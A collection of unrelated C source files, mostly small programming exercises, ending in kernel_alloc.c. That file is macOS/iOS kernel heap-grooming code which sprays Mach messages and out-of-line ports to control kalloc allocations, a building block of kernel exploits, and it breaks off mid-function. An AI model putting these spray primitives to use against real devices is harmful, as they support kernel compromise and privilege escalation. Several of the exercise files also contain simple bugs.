#include "sequential-version.h" #include <stdio.h> #include <stdlib.h> #include <string.h> struct SOE sequential_sieve_of_eratosthenes(long int n) { long int p, count = 0, index; char prime[n+1]; struct SOE soe; memset(prime, '*', sizeof(prime)); for (p = 2; p * p <= n; p ++) { if (prime[p] == '*') { for (int i = p * p; i <= n; i += p) { prime[i] = '-'; } } } for (p = 3; p <= n; p++) { if (prime[p] == '*') { count ++; } } soe.list = (long int*) malloc(sizeof(long int) * count); index = 0; for (p = 3; p <= n; p++) { if (prime[p] == '*') { soe.list[index] = p; index++; } } soe.size = count; return soe; }
C
#include <stdio.h> #include <stdarg.h> #include <string.h> #include <stdlib.h> #include "hash_tables.h" /** **hash_table_get - Retrieves a value associated with a key. *@ht: a variable *@key: a variable *Return: 0 **/ char *hash_table_get(const hash_table_t *ht, const char *key) { unsigned long int index; hash_node_t *find; if (ht == NULL || !(*key) || key == NULL || strlen(key) == 0) return (0); index = key_index((unsigned char *)key, ht->size); if (ht->array[index] == NULL) return (NULL); for (find = ht->array[index]; find != NULL; find = find->next) { if (strcmp(find->key, key) == 0) return (find->value); } return (NULL); }
C
/*2.编写一个程序读取输入,读到#字符停止。程序要打印每个输入的字 * 符以及对应的ASCII码(十进制)。一行打印8个字符。建议:使用字符计数 * 和求模运算符(%)在每8个循环周期时打印一个换行符。 */ #include <stdio.h> int main(void) { char ch; int i = 1; while ((ch = getchar()) != '#') { if (i % 9 == 0) printf("\n"); else printf("%3c %3d ", ch, ch); i++; } printf("\n"); return 0; }
C
/* PARALELISMO EN BLOQUES */ #include <pthread.h> #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> /* Modulos propios */ #include "defs.h" #include "procesamiento.h" #include "hilos.h" #include "helper.h" #include "archivos.h" float *rxx, *x; int main(){ /* Register le indica al compilador que le asigne una variable un registro en lugar de una dirección de memoria */ register int nh; int *hilo; int nhs[NUM_HILOS]; /* Declaramos un arreglo de identificadores para todos los hilos que se crearan */ pthread_t tids[NUM_HILOS]; /* Reservamos memoria para los arreglos */ x = reservarMemoria(); rxx = reservarMemoria(); /* Llenamos los arreglos */ leerDatosArchivo( x, "res" ); /* En los hilos la memoria es compartida */ for (nh = 0; nh < NUM_HILOS; nh++){ nhs[nh] = nh; pthread_create( &tids[nh], NULL, funcion_hilo, (void *)&nhs[nh]); } for ( nh = 0; nh < NUM_HILOS; nh++){ pthread_join( tids[nh], (void**)&hilo); /* Imprimimos el contenido de la variable resultado con '*' */ printf("El hilo termino su ejecución %d \n", *hilo); } imprimirArreglo( rxx ); guardaDatosArchivo( rxx, "auto-core" ); /* Liberamos la memoria reservada para los arreglos */ free( x ); free( rxx ); return 0; }
C
#include<stdio.h> void main() { int a; printf("enter the number"); scanf("%d",&a); if(a<0) printf("the given number is negative"); elseif(a>0) printf(" the given number is positive"); else printf("the given number is zero"); getch(); }
C
/* * sadstrings.c */ #include <assert.h> #include <stdio.h> #include <stdlib.h> #include <string.h> void get_strings(char const *in) { char *cmd; int len = strlen("strings ") + strlen(in) + 1; cmd = malloc(len * sizeof(char)); snprintf(cmd, len, "strings %s", in); printf("%s\n", cmd); free(cmd); } int main(int argc, char *argv[]) { assert(argc == 2); get_strings(argv[1]); return EXIT_SUCCESS; }
C
#ifndef STACK_H #define STACK_H #define SElemType int #define MAXSIZE 20 #define bool int #include <stdio.h> #include <stdlib.h> typedef enum Status{ OK, ERROR }Status; typedef struct Stack{ SElemType elem[MAXSIZE]; int top; }Stack, *Ptr; typedef Ptr StackPtr; Status InitStack( StackPtr S ); bool StackEmpty( Stack S ); Status ClearStack( StackPtr S ); Status GetTop( Stack S, SElemType *elem ); Status Push( StackPtr S, SElemType elem ); Status Pop( StackPtr S, SElemType *elem ); Status StackLength( Stack S ); void PrintStack( Stack S ); #endif
C
#include "homework1.h" int num_threads; int resolution; void *threadFunction(void *var) { threadFunctionParams params = *(threadFunctionParams *)var; image *im = params.im; int threadID = params.threadID; int intervalSize = ceil((float)resolution / num_threads); int low = threadID * intervalSize; int high = fmin((threadID + 1) * intervalSize, resolution); int i, j; double pixelL; pixelL = 100.f / resolution; double sa2b2 = sqrt(5.f); double distance; double x, y; for (i = low; i < high; i++) { for (j = 0; j < resolution; j++) { x = j * pixelL + pixelL / 2.f; y = 100.f - i * pixelL - pixelL / 2.f; distance = abs((-1.f) * x + 2.f * y) / sa2b2; if (distance < 3.f) { im->map[i * resolution + j] = BLACK; } else { im->map[i * resolution + j] = WHITE; } } } } void initialize(image *im) { im->map = calloc(resolution * resolution, sizeof(char)); } void render(image *im) { int i; pthread_t tid[num_threads]; int thread_id[num_threads]; for (i = 0; i < num_threads; i++) { thread_id[i] = i; } threadFunctionParams params[num_threads]; for (i = 0; i < num_threads; i++) { params[i].threadID = thread_id[i]; params[i].im = im; pthread_create(&(tid[i]), NULL, threadFunction, &params[i]); } for (i = 0; i < num_threads; i++) { pthread_join(tid[i], NULL); } } void writeData(const char * fileName, image *img) { FILE *f; f = fopen(fileName, "wb"); fwrite("P5", sizeof(char), 2, f); fwrite("\n", sizeof(char), 1, f); fprintf(f, "%hu %hu\n", resolution, resolution); fprintf(f, "255\n"); fwrite(img->map, sizeof(char), resolution * resolution, f); free(img->map); fclose(f); }
C
/* * Description: <write a brief description of your lab> * * Author: <your name> * * Date: <todacommand.h.gchy's date> * * Notes: * 1. <add notes we should consider when grading> */ /*-------------------------Preprocessor Directives---------------------------*/ #define _GNU_SOURCE #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <dirent.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/syscall.h> #include "command.h" /*---------------------------------------------------------------------------*/ #define true (1==1) #define false (1==0) #define debug false char *left_trim(char *s){ while(isspace(*s)) s++; return s; } char *right_trim(char *s){ char *back = s + strlen(s); while(isspace(*--back)); *(back+1) = '\0'; return s; } char *trim(char *s){ return right_trim(left_trim(s)); } /*---------------------------------------------------------------------------*/ void execute(char *line) { // declare some counters int i = 0; int count = 0; // determine the number of tokens needed. size_t token_array_length = 0; char *ptr = line; while((ptr = strchr(ptr, ' ')) != NULL) { token_array_length++; ptr++; } // declate the arrays that we will use to tokenize. char *array[sizeof(line)]; char *final[sizeof(line)][sizeof(line)]; // define the final 2d array that information gets placed within. for (size_t a = 0; a <= token_array_length; a++) { for (size_t b = 0; b <= token_array_length; b++) { final[a][b] = ""; } } char *token = strtok(line, ";"); while (token != NULL) { array[i] = trim(token); i++; count++; token = strtok(NULL, ";"); } for (int k = 0; k < count; k++) { if (strcmp(array[k], "")) { char *tok = strtok(array[k], " "); int iterator = 0; while (tok != NULL) { final[k][iterator] = tok; // update final and add token tok = strtok(NULL, " "); iterator++; } } } for (size_t a = 0; a <= token_array_length; a++) { for (size_t b = 0; b <= token_array_length; b++) { if (strcmp(final[a][b], "") != 0) // remove any empty records { if (b == 0) // ensure that we are dealing with the cmd { if (strcmp(final[a][b], "lfcat") == 0) { if (strcmp(final[a][1], "") != 0) { printf("Error! extra parameters\n"); return; } lfcat(); } else { printf("Error! Unrecognized command: %s\n", final[a][0]); } } } } } } void interative() { char *input = NULL; // size of the inputs size_t len = 0; // clear the std out buffer setbuf(stdout, NULL); while (true) { printf(">>> "); // print the input notation getline(&input, &len, stdin); // get the input line and set size from standard in // special check for exit if (strcmp(input, "exit\n") == 0) { free(input); // unallocate the input exit(EXIT_SUCCESS); // exit the application return; } // execute commands execute(input); // execute that shit } free(input); return; } void file(char *file) { FILE *o = freopen("output.txt", "a+", stdout); int exists = open(file, O_RDONLY); // file does not exist if (exists == -1) { printf("Error!: Unrecognized run command.\n"); exit(EXIT_FAILURE); } // file does exist FILE *f = fopen(file, "r"); // something went wrong above if(f == NULL) { printf("Error!: Unknown error occurred.\n"); } // finally we can get the contents! char *line = NULL; size_t line_length = 0; getline(&line, &line_length, f); // get the line the first time do{ execute(line); // execute that shit } while(getline(&line, &line_length, f) != -1); // iterate until we end free(line); // close the files fclose(f); // close the input file fclose(o); return; } /*-----------------------------Program Main----------------------------------*/ int main(int argc, char *argv[]) { if(argc == 1) { // no flags thrown // while loop the data interative(); return 1; } else if (argc >= 1) { // flags thrown if (strcmp(argv[1], "-f") == 0) { file(argv[2]); return 1; } } /*Free the allocated memory and close any open files*/ return 0; } /*-----------------------------Program End-----------------------------------*/
C
#include <stdio.h> #include <stdlib.h> void merge(int* nums, int left, int middle, int right) { int i, j, k; int sizeLeft = middle - left + 1; int sizeRight = right - middle; int* LEFT = (int*)malloc(sizeof(int) * sizeLeft); int* RIGHT = (int*)malloc(sizeof(int) * sizeRight); for (i = 0; i < sizeLeft; i++) LEFT[i] = nums[left + i]; for (j = 0; j < sizeRight; j++) RIGHT[j] = nums[middle + j + 1]; i = j = 0; k = left; while (i < sizeLeft && j < sizeRight) { if (LEFT[i] < RIGHT[j]) { nums[k] = LEFT[i++]; } else { nums[k] = RIGHT[j++]; } k++; } while (i < sizeLeft) { nums[k++] = LEFT[i++]; } while (j < sizeRight) { nums[k++] = RIGHT[j++]; } } void mergeSortHelper(int* nums, int left, int right) { int middle; if (left < right) { middle = (left + right) / 2; mergeSortHelper(nums, left, middle); mergeSortHelper(nums, middle + 1, right); merge(nums, left, middle, right); } } int main() { int nums[] = {3, 5, 1, 2, 8, 4}; int size = sizeof(nums) / sizeof(nums[0]); mergeSortHelper(nums, 0, size - 1); return 0; }
C
#include <stdio.h> int main() { char s[] = {"abcd"}; printf("%c\n",s[0]); s[0] = 'E'; printf("%s %c\n",s,s[0]); return 0; }
C
#include "holberton.h" /** * puts_half - finds and prints midpoint on * * @str: pointer to numbers * * Return: none */ void puts_half(char *str) { int j, mid; int i = 0; while (str[i] != '\0') /* gets size */ { i++; } i = i + 1; if (!(i % 2)) mid = (i - 1) / 2; /* odd size start */ else mid = i / 2; /* even size start */ for (j = mid; str[j] != '\0'; j++) /* print mid->end */ { _putchar(str[j]); } _putchar('\n'); }
C
/* * kernel_alloc.c * Brandon Azad */ #include "kernel_alloc.h" #include <assert.h> #include <fcntl.h> #include <pthread.h> #include <stdbool.h> #include <stdlib.h> #include <unistd.h> #include "log.h" // This is the size of entries in the ipc_kmsg zone. See zinit(256, ..., "ipc kmsgs"). static const size_t ipc_kmsg_zone_size = 256; // This is the maximum number of out-of-line ports we can send in a message. See osfmk/ipc/ipc_kmsg.c. static const size_t max_ool_ports_per_message = 16382; // ---- Structures -------------------------------------------------------------------------------- // A message containing out-of-line ports. struct ool_ports_message { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports[0]; }; // ---- Utility functions ------------------------------------------------------------------------- // Compute the minimum of 2 values. #define min(a, b) ((a) < (b) ? (a) : (b)) /* * ipc_kmsg_alloc_values * * Description: * Return select values computed by the kernel when allocating an ipc_kmsg. */ static void ipc_kmsg_alloc_values(size_t message_size, size_t *message_and_trailer_size_out, size_t *max_expanded_size_out, size_t *kalloc_size_out, size_t *message_end_offset_out) { size_t max_trailer_size = 0x44; size_t kernel_message_size = message_size + 0x8; size_t message_and_trailer_size = kernel_message_size + max_trailer_size; if (message_and_trailer_size_out != NULL) { *message_and_trailer_size_out = message_and_trailer_size; } size_t max_desc = 0x4 * ((kernel_message_size - 0x24) / 0xc); size_t max_expanded_size = message_and_trailer_size + max_desc; if (max_expanded_size <= 0xa8) { max_expanded_size = 0xa8; } if (max_expanded_size_out != NULL) { *max_expanded_size_out = max_expanded_size; } size_t kalloc_size = max_expanded_size + 0x58; if (kalloc_size_out != NULL) { *kalloc_size_out = kalloc_size; } size_t message_end_offset = kalloc_size - max_trailer_size; if (message_end_offset_out != NULL) { *message_end_offset_out = message_end_offset; } } // ---- Message sizing functions ------------------------------------------------------------------ size_t mach_message_size_for_ipc_kmsg_size(size_t ipc_kmsg_size) { if (ipc_kmsg_size < ipc_kmsg_zone_size) { ipc_kmsg_size = ipc_kmsg_zone_size; } // Thanks Ian! return ((3 * ipc_kmsg_size) / 4) - 0x74; } size_t mach_message_size_for_kalloc_size(size_t kalloc_size) { if (kalloc_size <= ipc_kmsg_zone_size) { return 0; } return mach_message_size_for_ipc_kmsg_size(kalloc_size); } size_t ipc_kmsg_size_for_mach_message_size(size_t message_size) { size_t kalloc_size; ipc_kmsg_alloc_values(message_size, NULL, NULL, &kalloc_size, NULL); return kalloc_size; } size_t kalloc_size_for_mach_message_size(size_t message_size) { size_t ipc_kmsg_size = ipc_kmsg_size_for_mach_message_size(message_size); if (ipc_kmsg_size == ipc_kmsg_zone_size) { return 0; } return ipc_kmsg_size; #if 0 //return (message_size + 0x8 + 0x44) + 0x4 * ((message_size + 0x8 - 0x24) / 0xc) + 0x58; size_t max_trailer_size = 0x44; size_t kernel_message_size = message_size + 0x8; size_t message_and_trailer_size = kernel_message_size + max_trailer_size; size_t max_desc = 0x4 * ((kernel_message_size - 0x24) / 0xc); size_t max_expanded_size = message_and_trailer_size + max_desc; if (max_expanded_size <= 0xa8) { // ipc_kmsg_zone return 0; } size_t kalloc_size = max_expanded_size + 0x58; return kalloc_size; #endif } // ---- Single messages --------------------------------------------------------------------------- bool ipc_kmsg_kalloc_send_one(mach_port_t holding_port, size_t kalloc_size) { // Check parameters. assert(kalloc_size >= ipc_kmsg_zone_size); // Construct the Mach message. size_t message_size = mach_message_size_for_ipc_kmsg_size(kalloc_size); mach_msg_header_t *message = malloc(message_size); memset(message, 0, message_size); message->msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, 0); message->msgh_size = (mach_msg_size_t) message_size; message->msgh_remote_port = holding_port; message->msgh_id = 'kal1'; // Send the message. kern_return_t kr = mach_msg( message, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t) message_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("%s: %s returned %d: %s", __func__, "mach_msg", kr, mach_error_string(kr)); } // Free the message. free(message); return (kr == KERN_SUCCESS); } bool ool_ports_send_one(mach_port_t holding_port, const mach_port_t *ool_ports, size_t ool_port_count, mach_msg_type_name_t ool_ports_disposition, size_t ipc_kmsg_size) { // Check parameters and adjust default values. assert(ipc_kmsg_size >= ipc_kmsg_zone_size); assert(ool_port_count <= max_ool_ports_per_message); // Create dummy ports (all MACH_PORT_NULL) if no ports were supplied. mach_port_t *dummy_ports = NULL; if (ool_ports == NULL) { dummy_ports = calloc(ool_port_count, sizeof(ool_ports[0])); assert(dummy_ports != NULL); ool_ports = dummy_ports; } // Construct the Mach message. size_t message_size = mach_message_size_for_ipc_kmsg_size(ipc_kmsg_size); assert(message_size >= sizeof(struct ool_ports_message) + sizeof(mach_msg_ool_ports_descriptor_t)); struct ool_ports_message *message = malloc(message_size); assert(message != NULL); memset(message, 0, message_size); message->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); message->header.msgh_size = (mach_msg_size_t) message_size; message->header.msgh_remote_port = holding_port; message->header.msgh_id = 'olp1'; message->body.msgh_descriptor_count = 1; // Fill in the descriptor. message->ool_ports[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; message->ool_ports[0].address = (void *) ool_ports; message->ool_ports[0].count = (mach_msg_size_t) ool_port_count; message->ool_ports[0].deallocate = FALSE; message->ool_ports[0].copy = MACH_MSG_PHYSICAL_COPY; message->ool_ports[0].disposition = ool_ports_disposition; // Send the message. kern_return_t kr = mach_msg( &message->header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t) message_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("%s: %s returned %d: %s", __func__, "mach_msg", kr, mach_error_string(kr)); } // Free the dummy ports and the message. if (dummy_ports) { free(dummy_ports); } free(message); return (kr == KERN_SUCCESS); } // ---- Basic Mach message spray ------------------------------------------------------------------ size_t mach_message_spray(mach_port_t *holding_ports, size_t *holding_port_count, mach_msg_header_t *message, size_t message_size, size_t message_count, size_t messages_per_port) { // Check parameters and adjust default values. if (messages_per_port == 0 || messages_per_port > MACH_PORT_QLIMIT_MAX) { messages_per_port = MACH_PORT_QLIMIT_MAX; } // Set up the holding port iteration state. ports_used is the number of holding ports // currently used, which is 1 past the index of the current port. We start by pretending // we're processing the port at index -1, but setting send_failure to true means we // immediately advance to the port at index 0. size_t port_count = *holding_port_count; size_t ports_used = 0; size_t messages_sent_on_port = 0; bool send_failure = true; // Iterate sending one messages per loop until we've either run out of holding ports or // sent the required number of messages. size_t messages_sent = 0; while (messages_sent < message_count) { // If we failed to send a message on the current port or if the port is filled, // advance to the next port. if (send_failure || messages_sent_on_port >= messages_per_port) { // If we've run out of ports, abort. ports_used is always the actual number // of holding ports used, so there's no need to do final adjustment before // breaking. if (ports_used >= port_count) { assert(ports_used == port_count); break; } // We have a new holding port; reset port state. Bump ports_used here since // we'll try to send a message below: it's not worth handling the edge case // where the message doesn't send and thus the port is actually empty. message->msgh_remote_port = holding_ports[ports_used]; ports_used++; messages_sent_on_port = 0; send_failure = false; } // Send one message. kern_return_t kr = mach_msg( message, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t) message_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("%s: %s returned %d: %s", __func__, "mach_msg", kr, mach_error_string(kr)); send_failure = true; } // If the message failed to send, then we'll move on to the next port without // incrementing the sent message count. if (!send_failure) { messages_sent++; messages_sent_on_port++; } } // Return the number of holding ports used and the number of messages sprayed. *holding_port_count = ports_used; return messages_sent; } #if 0 /* * mach_message_spray_custom * * Description: * Spray Mach messages to the specified holding ports, adjusting the message on each * iteration. * * Parameters: * holding_ports An array of Mach ports on which to enqueue Mach messages. * holding_port_count inout The number of Mach ports in the holding_ports array. On * return, holding_port_count is set to the number of ports * actually used. * message The Mach message to send. * message_size The size of the Mach message. * prepare_message A callback block that is invoked each time a message will * be sent. The block is passed the message, an updateable * message size, and the current count. The block should * return the amount to update the current count if the * message is successfully sent. * total_count The count value at which no more messages should be sent. * messages_per_port The target number of Mach messages to enqueue on each port. * The last pair of holding ports used may each hold fewer * messages. Use 0 for MACH_PORT_QLIMIT_MAX. * * Returns: * Returns the final count value. */ static size_t mach_message_spray_custom(mach_port_t *holding_ports, size_t *holding_port_count, mach_msg_header_t *message, size_t message_size, size_t (^prepare_message)(mach_msg_header_t *message, size_t *size, size_t current_count), size_t total_count, size_t messages_per_port) { // Check parameters and adjust default values. if (messages_per_port == 0 || messages_per_port > MACH_PORT_QLIMIT_MAX) { messages_per_port = MACH_PORT_QLIMIT_MAX; } // Set up the holding port iteration state. ports_used is the number of holding ports // currently used, which is 1 past the index of the current port. We start by pretending // we're processing the port at index -1, but setting send_failure to true means we // immediately advance to the port at index 0. size_t port_count = *holding_port_count; size_t ports_used = 0; size_t messages_sent_on_port = 0; bool send_failure = true; // Iterate sending one messages per loop until we've either run out of holding ports or // until we've reached the target total_count value. size_t current_count = 0; while (current_count < total_count) { // If we failed to send a message on the current port or if the port is filled, // advance to the next port. if (send_failure || messages_sent_on_port >= messages_per_port) { // If we've run out of ports, abort. ports_used is always the actual number // of holding ports used, so there's no need to do final adjustment before // breaking. if (ports_used >= port_count) { assert(ports_used == port_count); break; } // We have a new holding port; reset port state. Bump ports_used here since // we'll try to send a message below: it's not worth handling the edge case // where the message doesn't send and thus the port is actually empty. message->msgh_remote_port = holding_ports[ports_used]; ports_used++; messages_sent_on_port = 0; send_failure = false; } // Call the prepare_message() callback. size_t send_size = message_size; size_t update_count = prepare_message(message, &send_size, current_count); // Send one message. kern_return_t kr = mach_msg( message, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t) send_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr)); send_failure = true; } // If the message failed to send, then we'll move on to the next port without // incrementing the current_count and sent message count. if (!send_failure) { current_count += update_count; messages_sent_on_port++; } } // Return the number of holding ports used and the final current_count value. *holding_port_count = ports_used; return current_count; } #endif /* * mach_message_alternating_spray * * Description: * For each pair of Mach ports in the holding ports array, spray the first Mach message to the * first Mach port of the pair and then spray the second Mach message to the second port of * the pair. Repeat until each port has been filled and then move on to the next pair of * holding ports, until the target number of messages have been sprayed. */ static size_t mach_message_alternating_spray(mach_port_t *holding_ports, size_t *holding_port_count, mach_msg_header_t **messages, size_t *message_sizes, size_t message_count, size_t messages_per_port) { // Check parameters and adjust default values. if (messages_per_port == 0 || messages_per_port > MACH_PORT_QLIMIT_MAX) { messages_per_port = MACH_PORT_QLIMIT_MAX; } // Set up the holding port iteration state. ports_used is the number of holding ports // currently used, which is 2 past the index of the current port pair. We start by // pretending we're processing the port pair at index -2, but setting send_failure to true // means we immediately advance to the pair at index 0. size_t port_count = *holding_port_count; size_t ports_used = 0; mach_port_t port_pair[2]; size_t messages_sent_on_each_port = 0; bool send_failure = true; // Iterate sending two messages per loop (one to each port of the pair) until we've either // run out of holding ports or sent the required number of messages. size_t messages_sent = 0; while (messages_sent < message_count) { // If we failed to send a message on the current port pair or if the pair is // filled, advance to the next pair. if (send_failure || messages_sent_on_each_port >= messages_per_port) { // If we've run out of ports, abort. ports_used is always the actual number // of holding ports used, so there's no need to do final adjustment before // breaking. if (ports_used + 1 >= port_count) { break; } // We have a new holding port pair; reset port state. Bump ports_used here // since we'll try to send messages below: it's not worth handling the edge // case where the messages don't send and thus the ports are actually // empty. port_pair[0] = holding_ports[ports_used]; port_pair[1] = holding_ports[ports_used + 1]; ports_used += 2; messages_sent_on_each_port = 0; send_failure = false; } // Send one message on each port in the pair. for (int i = 0; i < 2; i++) { // Set the destination port on each iteration in case // messages[0] == messages[1]. messages[i]->msgh_remote_port = port_pair[i]; // Send the message. kern_return_t kr = mach_msg( messages[i], MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t) message_sizes[i], 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("%s: %s returned %d: %s", __func__, "mach_msg", kr, mach_error_string(kr)); send_failure = true; } } // If either message failed to send, then we'll move on to the next port pair // without incrementing the sent message count. This is not ideal, since if it was // the first message sent but the second did not then we're off in our parity which // will cause a fragmentation gap, but it's reasonable. if (!send_failure) { messages_sent += 2; messages_sent_on_each_port += 2; } } // Return the number of holding ports used and the number of messages sprayed. *holding_port_count = ports_used; return messages_sent; } // ---- Fragmentation spray ----------------------------------------------------------------------- size_t ipc_kmsg_kalloc_fragmentation_spray(mach_port_t *holding_ports, size_t *holding_port_count, size_t kalloc_size, size_t message_count, size_t messages_per_port) { // Check parameters and adjust default values. assert(kalloc_size > ipc_kmsg_zone_size); // Construct the Mach message. size_t message_size = mach_message_size_for_kalloc_size(kalloc_size); mach_msg_header_t *message = malloc(message_size); assert(message != NULL); memset(message, 0, message_size); message->msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, 0); message->msgh_size = (mach_msg_size_t) message_size; message->msgh_id = 'fgmt'; // Spray the same message to each port in each pair, alternating messages between each port // of the pair so that adjacent messages end up in different ports. That way, destroying // all the ports of a particular index parity would produce an alternating pattern of // allocated and free memory of the target kalloc size. mach_msg_header_t *messages[2] = { message, message }; size_t message_sizes[2] = { message_size, message_size }; size_t messages_sent = mach_message_alternating_spray(holding_ports, holding_port_count, messages, message_sizes, message_count, messages_per_port); // Free the message. free(message); // Return the number of messages sprayed. return messages_sent; } // ---- ipc_kmsg kalloc spray --------------------------------------------------------------------- size_t ipc_kmsg_kalloc_spray_contents_size(size_t kalloc_size, size_t *contents_start, size_t *contents_end) { assert(kalloc_size >= ipc_kmsg_zone_size); // Compute the size of the Mach message needed to produce the desired allocation. size_t message_size = mach_message_size_for_ipc_kmsg_size(kalloc_size); // Compute the offset from the beginning of the ipc_kmsg allocation to the end of the // message. The controlled message contents are at the end of the message. size_t kalloc_size_check; size_t kmsg_offset_message_end; ipc_kmsg_alloc_values(message_size, NULL, NULL, &kalloc_size_check, &kmsg_offset_message_end); assert(kalloc_size_check == kalloc_size); // Compute the size of the controlled message contents. Since this is a simple message, // there is no mach_msg_body_t. size_t message_contents_size = message_size - sizeof(mach_msg_header_t); // Given the offset in the allocation to the end of the contents and the size of the // contents, compute the offset to the beginning of the controlled message contents. size_t kmsg_offset_contents_begin = kmsg_offset_message_end - message_contents_size; // Return the values. if (contents_start != NULL) { *contents_start = kmsg_offset_contents_begin; } if (contents_end != NULL) { *contents_end = kmsg_offset_message_end; } return message_contents_size; } size_t ipc_kmsg_kalloc_spray(mach_port_t *holding_ports, size_t *holding_port_count, const void *data, size_t kalloc_size, size_t message_count, size_t messages_per_port) { // Check parameters and adjust default values. assert(kalloc_size >= ipc_kmsg_zone_size); assert(messages_per_port <= MACH_PORT_QLIMIT_MAX); // Construct the Mach message. size_t message_size = mach_message_size_for_ipc_kmsg_size(kalloc_size); mach_msg_header_t *message = malloc(message_size); assert(message != NULL); memset(message, 0, message_size); message->msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, 0); message->msgh_size = (mach_msg_size_t) message_size; message->msgh_id = 'kals'; // Fill the contents data if data was supplied. if (data != NULL) { size_t contents_size = message_size - sizeof(mach_msg_header_t); assert(ipc_kmsg_kalloc_spray_contents_size(kalloc_size, NULL, NULL) == contents_size); void *contents = (void *)(message + 1); memcpy(contents, data, contents_size); } // Spray the Mach messages on the holding ports. size_t messages_sent = mach_message_spray(holding_ports, holding_port_count, message, message_size, message_count, messages_per_port); // Free the message. free(message); // Return the number of messages sprayed. return messages_sent; } // ---- Out-of-line ports spray ------------------------------------------------------------------- size_t ool_ports_spray(mach_port_t *holding_ports, size_t *holding_port_count, const mach_port_t *ool_ports, size_t ool_port_count, mach_msg_type_name_t ool_ports_disposition, size_t ool_port_descriptor_count, size_t ool_port_descriptors_per_message, size_t ipc_kmsg_size, size_t messages_per_port) { // Check parameters and adjust default values. We leave ool_port_descriptors_per_message // until after computing the message shape. assert(ipc_kmsg_size >= ipc_kmsg_zone_size); assert(ool_port_count <= max_ool_ports_per_message); assert(messages_per_port <= MACH_PORT_QLIMIT_MAX); if (messages_per_port == 0 || messages_per_port > MACH_PORT_QLIMIT_MAX) { messages_per_port = MACH_PORT_QLIMIT_MAX; } // Create dummy ports (all MACH_PORT_NULL) if no ports were supplied. mach_port_t *dummy_ports = NULL; if (ool_ports == NULL) { dummy_ports = calloc(ool_port_count, sizeof(ool_ports[0])); assert(dummy_ports != NULL); ool_ports = dummy_ports; } // Compute the message shape. size_t message_size = mach_message_size_for_ipc_kmsg_size(ipc_kmsg_size); size_t message_header_size = sizeof(mach_msg_header_t) + sizeof(mach_msg_body_t); size_t message_ool_port_descriptor_capacity = (message_size - message_header_size) / sizeof(mach_msg_ool_ports_descriptor_t); size_t message_ool_port_descriptor_limit = max_ool_ports_per_message / ool_port_count; size_t max_ool_port_descriptors_per_message = min(message_ool_port_descriptor_capacity, message_ool_port_descriptor_limit); if (ool_port_descriptors_per_message == 0) { ool_port_descriptors_per_message = max_ool_port_descriptors_per_message; } assert(ool_port_descriptors_per_message <= max_ool_port_descriptors_per_message); // Construct the Mach message. struct ool_ports_message *message = malloc(message_size); assert(message != NULL); memset(message, 0, message_size); message->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); message->header.msgh_size = (mach_msg_size_t) message_size; message->header.msgh_id = 'olps'; message->body.msgh_descriptor_count = (mach_msg_size_t) ool_port_descriptors_per_message; // Fill in the descriptors. mach_msg_ool_ports_descriptor_t descriptor = {}; descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; descriptor.address = (void *) ool_ports; descriptor.count = (mach_msg_size_t) ool_port_count; descriptor.deallocate = FALSE; descriptor.copy = MACH_MSG_PHYSICAL_COPY; descriptor.disposition = ool_ports_disposition; for (size_t i = 0; i < ool_port_descriptors_per_message; i++) { message->ool_ports[i] = descriptor; } // Set up the holding port iteration state. ports_used is the number of holding ports // currently used, which is 1 past the index of the current port. We start by pretending // we're processing the port at index -1, but setting send_failure to true means we // immediately advance to the port at index 0. size_t port_count = *holding_port_count; size_t ports_used = 0; size_t messages_sent_on_port = 0; bool send_failure = true; // Iterate sending one messages per loop until we've either run out of holding ports or // sent the required number of out-of-line ports descriptors. size_t descriptors_sent = 0; while (descriptors_sent < ool_port_descriptor_count) { // If we failed to send a message on the current port or if the port is filled, // advance to the next port. if (send_failure || messages_sent_on_port >= messages_per_port) { // If we've run out of ports, abort. ports_used is always the actual number // of holding ports used, so there's no need to do final adjustment before // breaking. if (ports_used >= port_count) { assert(ports_used == port_count); break; } // We have a new holding port; reset port state. Bump ports_used here since // we'll try to send a message below: it's not worth handling the edge case // where the message doesn't send and thus the port is actually empty. message->header.msgh_remote_port = holding_ports[ports_used]; ports_used++; messages_sent_on_port = 0; send_failure = false; } // If we have fewer than ool_port_descriptors_per_message descriptors left to send, // then update the number of descriptors in the message so that we don't overshoot. size_t descriptors_to_send = ool_port_descriptors_per_message; size_t descriptors_left = ool_port_descriptor_count - descriptors_sent; if (descriptors_left < descriptors_to_send) { descriptors_to_send = descriptors_left; message->body.msgh_descriptor_count = (mach_msg_size_t) descriptors_to_send; } // Send one message. kern_return_t kr = mach_msg( &message->header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t) 